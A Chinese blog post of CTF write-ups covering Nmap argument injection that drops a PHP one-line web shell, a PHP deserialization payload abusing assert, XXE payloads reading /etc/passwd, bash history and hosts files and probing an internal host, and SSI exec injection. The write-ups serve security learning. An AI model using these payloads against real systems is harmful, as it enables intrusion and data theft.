2021-01-30

本文探讨了Web安全中的几个关键概念,包括使用Nmap进行网络扫描,如何利用XXE漏洞读取文件和探测内网,以及PHP的反序列化漏洞。通过实例展示了如何构造payload来绕过过滤并执行恶意代码。同时,提到了WordPress网站的潜在SWP泄露问题和SSI注入。
摘要由CSDN通过智能技术生成

[网鼎杯 2020 朱雀组]Nmap

考nmap的用法,但是我不会
用上次online tool的payload

?host=' <?php @eval($_POST["cmd"]);?> -oG yjh.php '

回显hacker
猜测是过滤了php

?host=' <?= @eval($_POST["cmd"]);?> -oG yjh.phtml '

在这里插入图片描述
这样可以蚁剑连,也可以post一个命令
在这里插入图片描述

https://www.bilibili.com/video/av795863875/

[MRCTF2020]PYWebsite

在这里插入图片描述
进去是这么个页面,在源码里面搜索php
搜到了flag.php
在这里插入图片描述
访问之后是这样
在这里插入图片描述
看起来要伪造ip,抓包xff试试
在这里插入图片描述

[NPUCTF2020]ReadlezPHP

在源码里面搜索php,搜到一个
在这里插入图片描述
访问后是源码

<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]);

  1. 诶好像是反序列化
  2. 看起来$b是函数名,$a是参数
  3. __destruct()   - 对象的所有引用都被删除或者当对象被显式销毁时执行,脚本运行结束前会调用析构函数
<?php
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "eval($_POST[cmd]);";
        $this->b = "assert";
   
}
}
$c = new HelloPhp();

echo urlencode(serialize($c));

?>

过滤了system,所以用assert
蚁剑连接后啥也没有

$this->a = "phpinfo()";

或者

post:cmd='phpinfo;'

应该也可以
payload

?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A9%3A%22phpinfo%28%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D

在这里插入图片描述

[NCTF2019]True XML cookbook

抓包,发现存在XXE漏洞
添加外部注入实体

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE hack [
<!ENTITY file SYSTEM  "file:///flag">
]>
<user>
  <username>&admin;</username>
  <password>password</password>
</user>

没有回显出flag
这里考的是XXE漏洞可以直接攻击内网用户

读取用户信息:

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE hack [
<!ENTITY file SYSTEM  "file:///etc/passwd">
]>
<user>
  <username>&file;</username>
  <password>password</password>
</user>

读取历史命令:

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE hack [
<!ENTITY file SYSTEM  "file:///www-data/.bash_history">
]>
<user>
  <username>&file;</username>
  <password>password</password>
</user>

查看内网存活主机:

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE hack [
<!ENTITY file SYSTEM  "file:///etc/hosts">
]>
<user>
  <username>&file;</username>
  <password>password</password>
</user>

在这里插入图片描述

找到一个主机,访问

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE hack [
<!ENTITY file SYSTEM  "http://173.10.47.10">
]>
<user>
  <username>&file;</username>
  <password>password</password>
</user>

没有flag
可以用bp爆存活主机
在这里插入图片描述

[BJDCTF2020]EasySearch

wp说是扫到了swp泄露,但是我没扫到

<?php
	ob_start();
	function get_hash(){
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
		$content = uniqid().$random;
		return sha1($content); 
	}
    header("Content-Type: text/html;charset=utf-8");
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
			echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
	***
    }
	***
?>

一开始还以为要用到随机数,看到后面才发现前面那一段都没有用,关键在

        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) 

这一个if
也就是一个字符串md5之后前六位为6d0bc1
由于本菜鸡不会python,所以借用网上的poc

import hashlib

for i in range(1000000000):
    a = hashlib.md5(str(i).encode('utf-8')).hexdigest()

    if a[0:6] == '6d0bc1':
        print(i)
        print(a)

在这里插入图片描述

post:password=2020666

抓包
在这里插入图片描述
看wp之前我没找到
访问一下看看
在这里插入图片描述
在这里插入图片描述
SSI注入参考文献
在这里插入图片描述

<!--#exec cmd="ls ../"-->

注入点只能在username了,
在这里插入图片描述
在这里插入图片描述

<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2 "-->

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值